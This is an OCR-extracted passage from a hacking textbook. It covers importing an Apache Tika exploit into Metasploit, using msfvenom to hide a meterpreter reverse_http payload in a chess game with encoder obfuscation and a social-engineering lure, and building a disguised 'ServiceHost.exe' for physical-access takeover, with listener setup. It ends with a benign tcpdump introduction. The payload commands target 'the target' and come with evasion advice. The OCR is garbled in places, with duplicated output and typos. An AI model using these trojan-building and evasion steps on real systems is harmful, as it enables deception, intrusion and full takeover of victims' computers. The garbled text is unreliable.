		2019-07-29	<u>+</u>		~	WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)	Remote	PHP	Me	etasploit
		2019-07-29	<u>+</u>		~	Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)	Remote	Unix	Me	etasploit
		2019-07-26	<u>+</u>		×	Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit)	WebApps	JSP	Wiets	e Boonstra
		2019-07-17	<u>+</u>		~	Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)	Local	Windows	Me	etasploit
		2019-07-16	<u>+</u>		~	PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)	Remote	Linux	Me	etasploit
		2019-07-16	±		~	Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)	Local	Windows	Me	etasploit

When we click on it, we can scan the code for the info section to read what it does.

```
def initialize(info = {})
 super(update_info(info,
    'Name'
                    => 'Apache Tika Header Command Injection',
                    => %q{
    'Description'
       This module exploits a command injection vulnerability in Apache
     Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is
     used to bypass magic bytes checking. When OCR is specified in the
     request, parameters can be passed to change the parameters passed
     at command line to allow for arbitrary JScript to execute. A
     JScript stub is passed to execute arbitrary code. This module was
     verified against version 1.15 - 1.17 on Windows 2012.
     While the CVE and finding show more versions vulnerable, during
     testing it was determined only > 1.14 was exploitable due to
     jp2 support being added.
```

If we wait for Rapid7 to update, the target may be patched by then. We need to install and use it now!

To get this exploit into Metasploit, I want to remind you of the section above on the structure of Metasploit. To put a new module into Metasploit, we must know where to place it. Since this module is a Windows exploit, we can begin by navigating to; If you are not familiar with Apache Tika, here is a description directly from its website.

The Apache Tika<sup>™</sup> toolkit detects and extracts metadata and text from over a thousand different file types (such as PPT, XLS, and PDF). All of these file types can be parsed through a single interface, making Tika useful for search engine indexing, content analysis, translation, and much more

kali > cd /usr/share/metasploit-framework/modules/exploits/windows

```
kali > ls -l
```

<pre>root@kali-2019:/# cd /u</pre>	usr/share/metasploi	t-framework/modules/exploits/windows
root@kali-2019:/usr/sha	are/metasploit-fram	ework/modules/exploits/windows# ls -l
total 328		
drwxr-xr-x 2 root root	4096 Jul 11 09:31	antivirus
drwxr-xr-x 2 root root	4096 Jul 11 09:31	arkeia
drwxr-xr-x 2 root root	4096 Jul 11 09:31	backdoor
drwxr-xr-x 2 root root	4096 Jul 11 09:31	backupexec
drwxr-xr-x 2 root root	4096 Jul 11 09:31	brightstor
drwxr-xr-x 2 root root	45056 Jul 11 09:31	browser
drwxr-xr-x 2 root root	4096 Jul 11 09:31	dcerpc
drwxr-xr-x 2 root root	4096 Jul 11 09:31	email
drwxr-xr-x 2 root root	4096 Jul 11 09:31	emc
drwxr-xr-x 2 root root	36864 Jul 11 09:31	fileformat
drwxr-xr-x 2 root root	4096 Jul 11 09:31	firewall

As we can see, we now need to further categorize this Windows exploit. Although it doesn't impact the proper functioning of the exploit, for organization and ease of use, we need to place it in the proper category.

From reading the description of the exploit, the best place to put this exploit would likely be a "fileformat exploit" (fileformat exploits take advantage of a vulnerability in particular file type) as it uses a .jp file type to do command injection. Now, move to the fileformat subdirectory.

#### kali > cd fileformat

Now, you can directly download the exploit the directory or download it from another directory and move it here.

EXPLOIT DATABASE			LE () . & Get certified
Apache Tika	1.15 - 1.17 - Heade	er Command Injection	on (Metasploit)
EDB-ID:         CVE:           47208         2018-1335           EDB Verified:         ✓	Author: Type: METASPLOIT REMOTE Download Exploit: 1 {}	Platform Date: : 2019-08-05 WINDOWS Vulnerable App:	Become a Certified Penetration Testing with Kali Linux, the course required to become an Offensive Security Certified Professional (OSCP) GET CERTIFIED

If you use the browser download, the new exploit will go to your Downloads directory. Open another terminal and navigate to Downloads directory.

<pre>root@kali-2019:~/Downloads# ls -l</pre>									
total 75488									
-rw-rr 1 root root	4381 Aug 15	13:04 47208.rb 🤇							
-rw-rr 1 root root 7	7287 <u>0</u> 16 Jul 18	09:08 Nessus-8.5.1-debian6_amd64.deb							

Note that the new exploit has a number and not a name. We need to remedy that AND move it to the proper directory for use with Metasploit.

We can do both these things with the mv command in Linux.

Simply use the mv command, followed by the filename, and then the target directory, and new file name (tika.rb) such as;

```
kali > mv 47208.rb /usr/share/metasploit-
framework/modules/exploits/windows/fileformat/tika.rb
```

Now, when we navigate back to the Metasploit directories and do a long listing on the fileformat directory. Our new exploit should be there.

-rw-rr	1	root	root	3735	Jul	2	15:55	realplayer ver attribute bof.rb
- rw-rr	1	root	root	10037	Jul	2	15:55	<pre>safenet_softremote_groupname.rb</pre>
-rw-rr	1	root	root	3271	Jul	2	15:55	sascam_get.rb
-rw-rr	1	root	root	2596	Jul	2	15:55	scadaphone_zip.rb
-rw-rr	1	root	root	2142	Jul	2	15:55	shadow_stream_recorder_bof.rb
-rw-rr	1	root	root	4368	Jul	2	15:55	shaper_pdf_bof.rb
-rw-rr	1	root	root	2002	Jul	2	15:55	somplplayer_m3u.rb
- rw- r r	1	root	root	3955	Jul	2	15:55	subtitle_processor_m3u_bof.rb
-rw-rr	1	root	root	2117	Jul	2	15:55	syncbreeze_xml.rb
-rw-rr	1	root	root	2631	Jul	2	15:55	tfm_mmplayer_m3u_ppl_bof.rb
-rw-rr	1	root	root	4381	Aug	15	13:04	tika.rb 🧲
-rw-rr	1	root	root	2028	Jul	2	15:55	total_video_player_ini_bof.rb

Now, to get Metasploit to recognize our new module, we need to do one final step. At the msfconsole prompt, enter reload all;

This will reload all the modules from all module paths.

```
msf5 > reload_all
```

msf5 exploit(windows/smb/ms17\_010\_eternalblue) > reload\_all
[\*] Reloading modules from all module paths...

Now, to test whether your new module is available to Metasploit, let's search for it.

```
msf5 > search type:exploit platform:windows tika
```



Success! We added a new module to Metasploit and its ready for our use!

#### **Creating a Malicious File with msfvenom**

Metasploit has a special function to create malicious files that contain the payload modules. In other words, this is how we might create a file that includes a windows executable (.exe) file that when -- clicked and activated-- give us control of the target's computer. Ideally, this payload is the meterpreter

payload as it has maximum capability for post-exploitation capabilities (web cam, microphone, upload and download files). We'll do some post exploitation with the Meterpreter in Chapter 11.

In Metasploit this function is called msfvenom. Msfvenom enables you to embed a Metasploit payload into an otherwise innocent-looking file such as a game or application. When the target clicks on the file, the payload will trigger giving **you** the meterpreter prompt on **their** system. This can be particularly useful in social engineering when you have physical access to the system.

Let's take a look at how msfvenom works for creating; first, a malicious file that will execute a payload on the target system and then how to use it to control a system when you have physical access.

# msfvenom

Msfvenom is a standalone payload generator that is capable of creating a custom payload, embed it into a file and obscure its function from prying eyes.

Msfvenom is relatively new to the Metasploit framework. Previously, one had to use both the msfpayload and the msfencode functions in Metasploit to create custom files and payloads. Now, all that can be done with a single function, msfvenom.

Let's begin by looking at some of the options in creating a custom payload/malicious file with msfvenom by looking at the help screen.

kali > msfvenom -h

root@ka	li-2019:~# msfveno	m -h								
MsfVeno	MsfVenom - a Metasploit standalone payload generator.									
Also a	Also a replacement for msfpayload and msfencode.									
Usage:	Usage: /usr/bin/msfvenom [options] <var=val></var=val>									
Example	: /usr/bin/msfveno	m -p window	s/meterpreter/reverse tcp LHOST= <ip> -f exe -o payload.exe</ip>							
· ·										
<b>Options</b>										
· -1,	list	<type></type>	List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all							
- p,	payload	<payload></payload>	Payload to use (list payloads to list,list-options for arguments). Specify '-' or STDIN for custom							
	list-options		Listpayload <value>'s standard, advanced and evasion options</value>							
-f,	format	<format></format>	Output format (uselist formats to list)							
-е,	encoder	<encoder></encoder>	The encoder to use (uselist encoders to list)							
	sec-name	<value></value>	The new section name to use when generating large Windows binaries. Default: random 4-character alpha string							
	smallest		Generate the smallest possible payload using all available encoders							
	encrypt	<value></value>	The type of encryption or encoding to apply to the shellcode (uselist encrypt to list)							
	encrypt-key	<value></value>	A key to be used forencrypt							
	encrypt-iv	<value></value>	An initialization vector forencrypt							
-a,	arch	<arch></arch>	The architecture to use forpayload andencoders (uselist archs to list)							
	platform	<platform></platform>	The platform forpayload (uselist platforms to list)							
-0,	out	<path></path>	Save the payload to a file							
-b,	bad-chars	<list></list>	Characters to avoid example: '\x00\xff'							
-n,	nopsled	<length></length>	Prepend a nopsled of [length] size on to the payload							
	pad-nops		Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nor</length>							
ngth)										
-s,	space	<length></length>	The maximum size of the resulting payload							
	- encoder-space	<length></length>	The maximum size of the encoded payload (defaults to the -s value)							
-i,	<ul> <li>-iterations</li> </ul>	<count></count>	The number of times to encode the payload							
-c,	add-code	<path></path>	Specify an additional win32 shellcode file to include							
-×,	template	<path></path>	Specify a custom executable file to use as a template							
-k,	keep		Preserve thetemplate behaviour and inject the payload as a new thread							
-v,	var-name	<value></value>	Specify a custom variable name to use for certain output formats							
-t,	timeout	<second></second>	The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)							
-h,	help		Show this message							

The key options in using msfvenom are;

- -p the Metasploit payload you want to use
- -f the format of the payload

- -e the encoder for obscuring the nature of the payload
- -a the architecture you are targeting (x86, x64, Linux, etc. default is x86)
- -x the template you want to use to embed the payload within

To better understand these options of msfvenom, we can use the -l (list) switch with each option to view all of the possibilities. For instance, to see all the format (-f) options we can enter;

kali > msfvenom -1 format

<pre>root@kali-2019:~# msfvenom -l format</pre>
Framework Executable Formats [format <value>]</value>
Name
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
jar
isp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psn-net nsh reflection
yba
vba-exe
vba-psh
vbs
war
Frenzy wells Transform Formate [ formate wellses]
Framework Transform Formats [format <value>]</value>
Name
bash
c
csharp
dword
hey
iava
js be
js_le
num
perl
pl

As you can see in this screenshot, there are two types of msfvenom formats, (1) Executable Formats and Transform Formats. The Executable Formats will create an executable file of some type such as a Windows .exe or a Linux .elf. Executable Formats are the type we will focus on here. These create an executable file that--when opened--will trigger a payload. Transform formats create a payload into a different format such as C or Java. Transform Formats are used in creating your own exploit (we'll cover these in my upcoming book focusing just on Metasploit, "Metasploit Basics for Hackers").

To view the list of encoders for obscuring the nature of the payload, we can enter;

Name	Rank	Description
	 low	 Bash Brace Expansion Command Encoder
cmd/echo	aood	
cmd/generic sh	manual	Generic Shell Variable Substitution Command Encoder
cmd/ifs	low	Bourne \${IFS} Substitution Command Encoder
cmd/perl	normal	Perl Command Encoder
cmd/powershell base64	excellent	Powershell Base64 Command Encoder
cmd/printf php mg	manual	printf(1) via PHP magic guotes Utility Command Encoder
peneric/eicar	manual	The FICAR Encoder
generic/none	normal	The "none" Encoder
nipsbe/byte xori	normal	Byte XORi Encoder
mipsbe/longxor	normal	XÓR Encoder
mipsle/byte xori	normal	Byte XORi Encoder
mipsle/longxor	normal	XOR Encoder
php/base64	great	PHP Base64 Encoder
ppc/longxor	normal	PPC LongXOR Encoder
ppc/longxor tag	normal	PPC LongXOR Encoder
rubv/base64	great	Ruby Base64 Encoder
sparc/longxor tag	normal	SPARC DWORD XOR Encoder
x64/xor	normal	XOR Encoder
x64/xor dynamic	normal	Dynamic key XOR Encoder
x64/zutto dekiru	manual	Zutto Dekiru
x86/add_sub	manual	Add/Sub Encoder
x86/alpha mixed	low	Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper	low	Alpha2 Alphanumeric Uppercase Encoder
x86/avoid underscore tolower	manual	Avoid underscore/tolower
x86/avoid_utf8_tolower	manual	Avoid UTF8/tolower
x86/bloxor	manual	BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp polyglot	manual	BMP Polyglot
x86/call4 dword xor	normal	Call+4 Dword XOR Encoder
x86/context cpuid	manual	CPUID-based Context Keyed Payload Encoder
<86/context_stat	manual	stat(2)-based Context Keyed Payload Encoder
x86/context <sup>_</sup> time	manual	time(2)-based Context Keyed Payload Encoder
x86/countdown	normal	Single-byte XOR Countdown Encoder
x86/fnstenv mov	normal	Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp call additive	normal	Jump/Call XOR Additive Feedback Encoder
x86/nonalpha	low	Non-Alpha Encoder
x86/nonupper	low	Non-Upper Encoder
x86/opt sub	manual	Sub Encoder (optimised)
x86/service	manual	Register Service
x86/shikata ga nai	excellent	Polymorphic XOR Additive Feedback Encoder
x86/single static bit	manual	Single Static Bit
x86/unicode mixed	manual	Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode upper	manual	Alpha2 Alphanumeric Unicode Uppercase Encoder
v06 /vor dunamic	normal	Dunamic Kov VOD Encoder

These are ways that we can obscure the payload, so that even if the malware is detected the analyst will not able to determine what it does. Note that these encoders are ranked similar to the exploits, from excellent to manual. The encoder x86/shikata\_ga\_nai is the only encoder rated "excellent." Shikata\_ga\_nai is so effective that it name in Japanese literally means, "nothing can be done about it". Although some anti-virus applications can detect malware encoded with shikata\_ga\_nai, in 2019 security researchers were still finding malware launched by nation state hackers, encoded with it.

Lastly, let's view the platforms available for our custom payload. This terminology here is the same as with the exploits. In general, it's a synonym for the operating system with a few exceptions (firefox, hardware, netware, and few others).

kali > msfvenom -l platforms

Now, let's get started creating a file that when opened by the target will execute a payload giving us complete control of their system!

The first thing we need to do is select our payload. Let's use the Windows meterpreter that communicates over http, so that looks like normal HTTP traffic (windows/x86/meterpreter/reverse http).

Note that we are using the 32-bit version (x86). We are using the 32-bit version to make certain that it can execute on any Windows system, 32-bit or 64-bit.

Next, let's decide to embed this payload inside a chess game and make it a Windows .exe file. This would enable us to send it to the target with some rudimentary social engineering such as "Let's play a new online chess game. I have this great new 3-D chess game!".

Lastly, let's obscure our payload with the encoder shikata\_ga\_nai and run it through 10 iterations of this encoder (more iterations make it more obscure, but also make the file larger).

To create this malicious file, we would enter the following;

# root@kali-2019:~# msfvenom -l platforms

Framework Platforms [--platform <value>]

Name aix android apple\_ios bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper linux mainframe multi netbsd netware nodejs openbsd osx php python ruby solaris unifi unix unknown windows

kali > msfvenom -p windows/meterprete/reverse\_http LHOST=192.168.0.114
LPORT=80 -x /root/chess.exe -e x86/shikata\_ga\_nai -i 10 -f exe
>newchess.exe

root@kali-2019:-# msfvenom -p windows/meterpreter/reverse http LHOST=192.168.0.115 LPORT=80 -x /root/chess.exe -e x86/shikata ga nai -i 10 -f exe >newchess.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 562 (iteration=0)
x86/shikata_ga_nai succeeded with size 589 (iteration=1)
x86/shikata_ga_nai succeeded with size 616 (iteration=2)
x86/shikata_ga_nai succeeded with size 643 (iteration=3)
x86/shikata_ga_nai succeeded with size 670 (iteration=4)
x86/shikata_ga_nai succeeded with size 697 (iteration=5)
x86/shikata_ga_nai succeeded with size 724 (iteration=6)
x86/shikata_ga_nai succeeded with size 751 (iteration=7)
x86/shikata_ga_nai succeeded with size 778 (iteration=8)
x86/shikata_ga_nai succeeded with size 805 (iteration=9)
x86/shikata_ga_nai chosen with final size 805
x86/shikata ga_nai succeeded with size 670 (iteration=4) x86/shikata ga_nai succeeded with size 672 (iteration=5) x86/shikata ga_nai succeeded with size 724 (iteration=6) x86/shikata ga_nai succeeded with size 775 (iteration=7) x86/shikata ga_nai succeeded with size 785 (iteration=8) x86/shikata ga_nai succeeded with size 805 (iteration=9) x86/shikata ga_nai chosen with final size 805

When we look in our root directory, we should now find our file newchess.exe with a size of 805 bytes.

As a final step, we need to prepare our system to accept the connection from the target system when they execute the newchess.exe. We can do that by executing what Metasploit calls its "multi handler." This is simply a listener that Metasploit uses to listen for the payload calling back to the "mothership." It will accept the connection and enable us to use the Meterpreter on the target. Then we need to tell the multi handler what type of payload to accept a connection (this must the same as the payload in the above newchess.exe game) from and the LHOST and LPORT.

```
msf5> use multi/handler
msf5 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf5 > set LHOST 192.168.0.173
msf5 > set LPORT 80
```

```
msf5 > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_http
PAYLOAD => windows/x64/meterpreter/reverse_http
msf5 exploit(multi/handler) > set LHOST 192.168.0.173
LHOST => 192.168.0.173
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
```

For the final step, we need to execute the multi handler by entering the command, exploit.

msf5 > exploit



The multi handler is now waiting on our system for the payload to call back to us on port 80.

Now, when the target clicks on the chess game, it will execute the meterpreter payload that will call back to our system and give us a meterpreter shell on their system!

# Using Msfvenom When We Have Physical Access

Msfvenom is great for creating custom malicious files that can be used with social engineering (see Chapter 17), but it is also terrific for creating a payload that can be used to control the target system when we have physical access.

Let's assume you are a spy and have been able to get access to the target's office and computer. It's imperative for the survival of your nation's government that they find out what is on that computer!

With msfvenom, we can create a simple file that we can execute on the target's system that will give us complete control. This is even simpler than creating a malicious file.

In this case, we only need to specify the payload with its LHOST and LPORT, then the format (exe) and finally the name of the file we want to create. Here, I have used the file name "ServiceHost". This will help obscure the nature of the process as it will have a name very similar to a native process on a Windows system. Even if the target sees the process on their system, unless they are relatively sophisticated, they are unlikely to identify it as malicious.

```
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.114
LPORT=80 -f exe >ServiceHost.exe
```

```
root@kali-2019:~# msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.115 LPORT=80 -f exe >ServiceHost
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 636 bytes
Final size of exe file: 73802 bytes
```

Before we try to use this malware or malicious payload, we need to open a listener on our Kali system in Metasploit. Open the interactive terminal in Metasploit (msfconsole) and enter;

msf5 > use multi/handler msf5 > set PAYLOAD windows/meterpreter/reverse\_http msf5> set LHOST <Your IP Address> msf5> set LPORT 80

Now, we simply need to place this file on a flash drive, stick the flash drive into the target system and execute it as Administrator (right click) to take control!



Back on our Kali system, we should see the meterpreter prompt appear. Then to assure ourselves we are on the target system, enter "sysinfo".

<u>meterpreter</u> > sysinfo							
Computer	:	OTW-PC					
0S	:	Windows 7 (Build 7600).					
Architecture	:	x64					
System Language	:	en_US					
Domain	:	WORKGROUP					
Logged On Users	:	2					
Meterpreter	:	x64/windows					

Success! You now own that system!

# Social Engineering with Metasploit

Metasploit has numerous modules that can be used in conjunction with social engineering the target. Above we looked at using msfvenom to embed a malicious payload inside a chess game. We can also embed malicious payloads into Word documents, PDF documents, MCL link and web pages. For more on using Metasploit for social engineering, skip to Chapter 17 Social Engineering

# Summary

Metasploit is a powerful, multi-function tool that is a requirement for any aspiring hacker/pentester. It is designed for pentests and provides the practitioner with a bevy of tools and exploits. With addition of msfvenom, the hacker/pentester can create malicious files with the meterpreter payload hidden inside.

# Exercises:

- 1. Scan for open ports on your unpatched Windows 7 system
- 2. Do a vulnerability scan using Metasploit for the EternalBlue vulnerability
- 3. Exploit your unpatched Windows 7 system with the EternalBlue exploit
- 4. Use msfvenom to create an executable file. Place that file on a flash drive. Take the flash drive to another computer on your network and execute it. Check to see whether you get a meterpreter prompt on your Kali system.

# 10

# **Sniffers for Network and Protocol Analysis**

A series of persistent, small wins will defeat any opponent.

Master OTW



A network sniffer—sometimes referred to as a packet analyzer, protocol analyzer or network traffic analyzer—can intercept and analyze network traffic that traverses a digital

**network**. These sniffers can be invaluable to the network or security engineer, the forensic investigator--and in some cases--the hacker. For instance, if an application sends passwords over the network unencrypted, the hacker may be able to sniff and view the passwords.

Since only a few applications send passwords unencrypted in our security-conscious era, the value of the sniffer to the hacker is a bit more nuanced.

For some exploits/hacks, such as DNS or MiTM attacks, analysis of the LAN traffic can be crucial to their success, making the sniffer invaluable. Besides, sniffing a target's traffic can reveal what sites they are visiting, their cookies, their user agent, or even their email messages (if unencrypted or you have the resources to decrypt the message).

Many tools are capable of network sniffing, including:

- 1. SolarWinds Deep Packet Inspection and Analysis Tool
- 2. Tcpdump
- 3. Windump
- 4. Wireshark
- 5. Network Miner
- 6. Capsa
- 7. tshark

In this chapter, we use two of the most popular network sniffer/analyzers: **tcpdump** and **Wireshark**. In addition, we use Wireshark to dig deep into the NSA's EternalBlue exploit to understand exactly how it works.

# **Controversial Use of Sniffers**

For over twenty years, the Federal Bureau of Investigation (FBI) in the United States has used a tool they term "Carnivore." This tool is used to sniff and analyze the traffic of people suspected of committing crimes. It is very controversial, but legal, as it allows the FBI to eavesdrop on network traffic without a warrant.

# **Prerequisites to Sniffing**

It's critical to point out that to effectively use a network sniffer, your network interface card (NIC) should be in promiscuous mode. This means that your NIC picks up ANY packet traversing the network. Usually, NICs only pick up packets that are intended for its particular MAC (globally unique physical) address.

The other critical point to understand with network sniffing is that the standard file format for sniffing is .pcap (packet capture). This means your system must have a library (a bit of reusable code) to put the packets into this format. These libraries are libpcap on your Linux system or Winpcap on your Windows system.

# tcpdump in Action

Before we examine the powerful GUI-based sniffer Wireshark, let's take a brief look at the command line sniffer, tcpdump. Tcpdump was among the very first (1988) Linux/UNIX-based sniffers. Although it may not be the easiest sniffer use, its versatility and lightweight design make it worth knowing. Tcpdump can be particularly useful if you have to analyze a non-GUI based system or a remote system where a GUI would be slow, inefficient, and not very stealthy.

To start tcpdump, enter;

kali >tcpdump

<pre>root@kali-2019:~# tcpdump</pre>
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:07:04.062010 IP 192.168.0.233.57656 > 239.255.255.250.1900: UDP, length 174
16:07:04.064714 ARP, Request who-has gateway tell kali-2019, length 28
16:07:04.066317 ARP, Reply gateway is-at b0:be:76:08:b5:3c (oui Unknown), length 46
16:07:04.066326 IP kali-2019.35833 > gateway.domain: 15132+ PTR? 250.255.255.239.in-addr.arpa. (46)
16:07:04.080311 IP gateway.domain > kali-2019.35833: 15132 NXDomain 0/1/0 (103)
16:07:04.080872 IP kali-2019.59304 > gateway.domain: 50202+ PTR? 233.0.168.192.in-addr.arpa. (44)
16:07:04.095554 IP_gateway.domain > kali-2019.59304: 50202 NXDomain 0/0/0 (44)
16:07:04.096001 IP kali-2019.43942 > gateway.domain: 28517+ PTR? 1.0.168.192.in-addr.arpa. (42)
16:07:04.111351 IP gateway.domain > kali-2019.43942: 28517 NXDomain 0/0/0 (42)
16:07:04.111687 IP kali-2019.42176 > gateway.domain: 23623+ PTR? 173.0.168.192.in-addr.arpa. (44)
16:07:04.126300 IP gateway.domain > kali-2019.42176: 23623 NXDomain 0/0/0 (44)
16:07:05.063842 IP 192.168.0.233.57656 > 239.255.255.250.1900: UDP, length 174
16:07:07.587418 IP gateway.59364 > 224.0.0.251.mdns: 22437 PTR (QM)? 192.168.0.152.in-addr.arpa. (44)
16:07:07.587576 IP kali-2019.44754 > gateway.domain: 30429+ PTR? 251.0.0.224.in-addr.arpa. (42)
16:07:07.587774 IP gateway.54033 > 224.0.0.251.mdns: 22438 PTR (QM)? 192.168.0.152.in-addr.arpa. (44)
16:07:07.601171 IP _gateway.domain > kali-2019.44754: 30429 NXDomain 0/1/0 (99)

As you can see, as soon as you enter the command tcpdump, packets begin to flow across your screen. These packets are largely communication between your Kali system and the LAN gateway.

Let's try creating some traffic to analyze. For instance, let's try sending a ping (ICMP echo request) to your Windows 7 system from one terminal and run tcpdump from the other.

kali > ping 192.168.0.114

kali > tcpdump

		0.0.0				
	root@kau-2019:~	- 0 ×	root@kali-2019:~	0 0	9 0	
File Edit View Search Terminal Help		Fil	le Edit View Search Terminal Help			
<pre>rontexil:01:4 girs 4 girs 102:164.0.14 rontexil:01:4 girs 4 girs 102:164.0.14 rontexil:01:4 girs 4 girs 11:4 girs 4 girs 64 bytes from 102:164.0.114; 100 girs 2 tttl 64 bytes from 102:164.0.114; 100 girs 2 tttl 64 bytes from 102:164.0.114; 100 girs 4 tttl 65 bytes from 102:164.0.114; 1</pre>	es of data. 28 ince8.067 ms 28 ince8.067 ms 28 ince8.13 ms 38 ince1.17 ms 28 ince8.13 ms 28 ince8.01 ms 20 ince8.01 ms 21 ince		<pre>NHAAL-2483:-4 Tcddamp Wile withows uptot tupperspeciely user vs r vy for fail protocol decode dupp, wrbokow uptot tupperspeciely user vs r vy for fail protocol decode 11200.770020 IP kali-2015 &gt; 197.168.0.114; [CMP echor request, 1d 2388], seg 3, lengt 11205.770020 IP kali-2015 &gt; 197.168.0.114; [CMP echor request, 1d 2388], seg 3, lengt 11205.770020 IP kali-2015.48.0.124 &amp; kali-2003; ICMP echor request, 1d 2388], seg 3, lengt 11205.770020 IP kali-2015.48.0.124 &amp; sali-2015; ICMP echor request, 1d 23881, seg 3, lengt 11205.78037 IP gateway.domain skli-2015; ICMP echor request, 1d 2581, seg 3, lengt 11205.78037 IP gateway.domain skli-2015; ICMP echor request, 1d 2581, seg 4, lengt 11205.78037 IP gateway.domain skli-2015; ICMP echor request, 1d 2581, seg 4, lengt 11205.780470 IP kali-2019.37049 - gateway.domain: 97090 fWT i.0.108.192.1n-a047 11206.780490 IP kali-2019.37049 - gateway.domain: 9709 fWT i.0.108.192.1n-a047 11206.79300 IP kali-2019 &gt; 122.168.0.114; ICMP echor request, 1d 25881, seg 4, lengt 12107.77000 IP kali-2019 &gt; 122.168.0.114; KMI echor request, 1d 25881, seg 4, lengt 12107.77000 IP kali-2019 &gt; 122.168.0.114; KMI echor request, 1d 25881, seg 4, lengt 12107.77000 IP kali-2019 &gt; 122.168.0.114; KMI echor request, 1d 25881, seg 4, lengt 12107.77000 IP kali-2019 &gt; 122.168.0.114; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019 &gt; 122.168.0.114; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019 - 122.168.0.114; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019 - 120.168.0.114; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019 - 120.480.014; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019 - 120.480.014; KMI echor request, 1d 25881, seg 5, lengt 12107.77000 IP kali-2019, 4865 - gateway.460001; 12023 FWI 255.255, 255, 255, 255, 255, 255, 255,</pre>	gth 6 h 64 dr.ar dr.ar arpa gth 6 h 64 gth 6 h 64 n 64 n 46	4 pa. pa. (4 4 arpa	

Let's zoom in on the tcpdump screen so we can see detail there.

<pre>root@kali-2019:~# tcpdump</pre>
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet <u>), capture size 26</u> 2144 bytes
16:12:05.770020 IP kali-2019 > 192.168.0.114: ICMP echo request, id 25881, seq 3, length 64
16:12:05.770314 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 25881, seq 3, length 64
16:12:05.770836 IP kali-2019.44328 > _gateway.domain:∧39663+ PTR? 114.0.168.192.in-addr.arpa.
(44)
16:12:05.788317 IP _gateway.domain > kali-2019.44328: 39663 NXDomain 0/0/0 (44)
16:12:05.788799 IP kali-2019.37659 > _gateway.domain: 53089+ PTR? 173.0.168.192.in-addr.arpa.
(44)
16:12:05.804341 IP _gateway.domain > kali-2019.37659: 53089 NXDomain 0/0/0 (44)
16:12:05.804701 IP kali-2019.39714 > gateway.domain: 47919+ PTR? 1.0.168.192.in-addr.arpa. (4

As you can see, tcpdump displays the protocol (ICMP) and the type (echo request and echo reply).

If we want to capture the output to a file that we can analyze it at a later time, we can use the -w option followed by the file name, such as:

kali > tcpdump -w myoutput.cap

#### **Filter by IP Address**

We may want to filter out all the traffic except the traffic coming back from the Windows 7 system. Tcpdump--developed by researchers at the Lawrence Livermore National Laboratory in Berkeley, CA, running BSD (Berkley Software Development) Unix--utilizes the Berkeley Packet Filter (BPF) format to create filters.

We can create that filter for the Windows 7 IP address by entering:

```
kali > tcpdump host 192.168.0.114
```

```
root@kali-2019:~# tcpdump host 192.168.0.114
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
09:47:40.607043 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 7, length 64
09:47:40.607894 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 7, length 64
09:47:41.608042 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 8, length 64
09:47:41.608045 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 8, length 64
09:47:42.608865 IP kali-2019 > 192.168.0.114: ICMP echo reply, id 28115, seq 9, length 64
09:47:42.609332 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 9, length 64
09:47:43.609607 IP kali-2019 > 192.168.0.114: ICMP echo reply, id 28115, seq 10, length 64
09:47:43.610432 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 10, length 64
09:47:44.611175 IP kali-2019 > 192.168.0.114: ICMP echo reply, id 28115, seq 11, length 64
09:47:44.61175 IP kali-2019 > 192.168.0.114 > Kali-2019: ICMP echo reply, id 28115, seq 11, length 64
09:47:44.611988 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 11, length 64
09:47:45.612675 IP kali-2019 > 192.168.0.114: ICMP echo reply, id 28115, seq 12, length 64
09:47:45.612675 IP kali-2019 > 192.168.0.114 = ICMP echo reply, id 28115, seq 12, length 64
09:47:45.613353 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 12, length 64
09:47:45.612675 IP kali-2019 > 192.168.0.114 = ICMP echo reply, id 28115, seq 12, length 64
